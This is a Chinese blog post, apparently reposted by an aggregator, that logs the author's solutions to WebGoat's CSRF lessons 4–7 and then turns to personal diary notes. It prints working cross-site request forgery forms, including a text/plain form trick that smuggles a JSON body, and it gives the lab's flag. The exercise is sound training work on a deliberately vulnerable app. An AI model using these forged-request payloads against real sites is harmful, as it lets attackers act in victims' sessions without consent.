CSRF 4~7 表单拼 JSON

Posted 三疯白帽笔记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF 4~7 表单拼 JSON相关的知识,希望对你有一定的参考价值。

小目标:2021-02-25 开始日拱三年七百篇 #60/720,迭代三疯白帽笔记,入门白帽。


1. 日拱学习

  • 地铁看书:「金庸作品集」4488/26907。

  • 技术学习:WebGoat Lessons 22/32。

  • 商业学习:生财日历 2021 共读营 6.1~6.2。



2. 日拱白帽

WebGoat 今天课是 (A8:2013) Request Forgeries -> Cross-Site Request Forgeries 的 4~7 节。


第 4 节,作业,跨站留个言。此题跟第三节原理一样,操作也一样。把如下提交的 html 代码放到 WebWolf 的 landing 页面里,然后填入内容提交,通关。

<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="http://127.0.0.1:8089/WebGoat/csrf/review"> <input class="form-control" id="reviewText" name="reviewText" placeholder="Add a Review" type="text"> <input class="form-control" id="reviewStars" name="stars" type="text"> <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"> <input type="submit" name="submit" value="Submit review"></form>


第 5 节,很多框架带了 CSRF 的自动防御功能。


第 6 节,当只有 JSON API 的时候,只靠 Content-Type 为 application/json,也无法保证 CSRF 被阻止。有些浏览器的底层 API 会用到 JSON 这种的正常功能,这种就可以被利用。


第 7 节,CSRF and content-type。作业,将如下 JSON 数据从别的 origin 发到当前域即 WebGoat:

POST /csrf/feedback/message HTTP/1.1


{

 "name"    : "WebGoat",

 "email"   : "webgoat@webgoat.org",

 "content" : "WebGoat is the best!!"

}


第一反应,像之前一样,将本节表单拷贝到 WebWolf 的 landing 里,但此题不是那么简单的。报错,表示各字段都是服务器未定义的 JSON 字段。然后看了下请求,Content-Type 里都没有 application/json。


于是,参照本节给的参考链接里那个方式,将表单直接简化为以下内容:

<FORM NAME="csrf3mad" ENCTYPE="text/plain"action="http://127.0.0.1:8089/WebGoat/csrf/feedback/message" METHOD="POST"><input type="hidden" name='{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}'> <button>Send Message</button></FORM>

  • FORM 的 ENCTYPE 字段,设置表单的内容类型,此值可以是:

    • application/x-www-form-urlencoded,表单默认类型。

    • multipart/form-data,用于上传文件。

    • text/plain,我们这里用这个,内容就不会被编码。

  • 参考链接里那个攻击,用的 JS 脚本自动加载,这个在真实攻击时这么用。但我们这里用于调试方便,直接放按钮,手动提交表单了。


报错,说最后有个「=」不符合 JSON 格式:

{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}= 


再仔细研究了下参考链接的 POC,才焕然大悟,它也解决了「=」的问题:

<FORM NAME="csrf3mad" ENCTYPE="text/plain"action="http://127.0.0.1:8089/WebGoat/csrf/feedback/message" METHOD="POST"><input type="hidden"  name='{"=":"' value='","name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}'> <button>Send Message</button></FORM>

最后请求通过,返回 flag:513d214d-596a-4cfc-8c62-39a47ea60d9a。


复盘下这题。


这里我差点都放弃了,准备 Show hints 了。因为参考链接里的 POC,是 XML 的,他刚好是用下边来组装的:

name='<?xml version'

value='"1.0"?><xxx></xxx>


他利用 name=value 组装成了:

<?xml version = "1.0"?><xxx></xxx>


但是我们这题是 JSON 啊,JSON 是没有「=」语法的,我看了下,JSON 也不带注释。但看有人说 JSON 注释可以是这样:

{

"//": "comment",

"field1": "value1",

"field2": "value2"

}


我就想不如试试构建一个:

"=": "="


于是拆成 FORM 的:

name='{"=":"'

value='","name":"WebGoat"}'


利用 name=value,最后就组装成了:

{"=":"=","name":"WebGoat"}


这题耗时太长,今天先到这里。



3. 日拱唠嗑

  • 轻食里点缀点葡萄干,惊讶无比。这个葡萄干,升糖指数可一点都不轻。

  • 关于内卷和躺平。其实,躺久了就没啥意思。各种资料显示,财务自由后,啥也不干的,其实很少,一般休息个一年,就闲不住了。所以我觉得,不要想什么躺平。还不如先努努力,挣些钱。赚的差不多了,选择就多了,选择自己喜欢的事情。那时,就是开心的、不慌不忙的做自己喜欢的事情了,也就刚好对内卷感触不大了。

  • 最近三月预算早花完了,所以有聚餐,就认真吃肉解馋。现在这个肉价,想肉类自由,还是不容易的呀。

  • 菜鸟驿站,总是排很长队。现在很多人不及时取例如,都是周末一下取很多。我就选太阳烈的时候,队短。

  • 「好家伙」看完了。最后时光内心的贫瘠得到救赎,也找到了生活的目标。挺让人动容的。何思齐的结局会更温馨一些。

  • 现在还没孩子,周六踢球,周日就完全宅家了。老婆近期工作也挺忙,周末也就宅家休息了。一起看看剧、开开黑,还挺悠闲的。

  • 上一篇文章,时隔了好几天,终于又进「看一看精选」了。阅读量会多些。这个精选也不知道什么策略。

  • 我的运动基本就是每周一场足球 2.5 小时左右。每日早晚家里到地铁之间步行各 15 分钟左右,有电瓶车,刻意不骑。饮食,早餐若饭,升糖指数低一点,中午轻食,晚餐就管不住了,正常米饭。现在整体维持还凑活。再加码,就坚持不住了,也不难为自己了。

  • 组织踢了快四年球了,基本停、传、射、跑位可以凑活了,接下来准备看视频练习下过人了。

  • 吐槽储备语句:欲加之罪何患无辞。


把这几天的微博给摘过来了。我也可以是个话痨。




看我家大师兄的完美圆圈:


以上是关于CSRF 4~7 表单拼 JSON的主要内容,如果未能解决你的问题,请参考以下文章

Rails 为重复的 JSON 请求自动更新 CSRF 令牌

spring security4.2 配置CSRF防御场景

CSRF 令牌无效。请尝试重新提交表单。 Symfony 4

Symfony 4 - 如何在不构建表单的情况下添加 csrf 令牌?

Symfony 1.4:表单中 CSRF 的自定义错误消息

JSON Web 服务是不是容易受到 CSRF 攻击?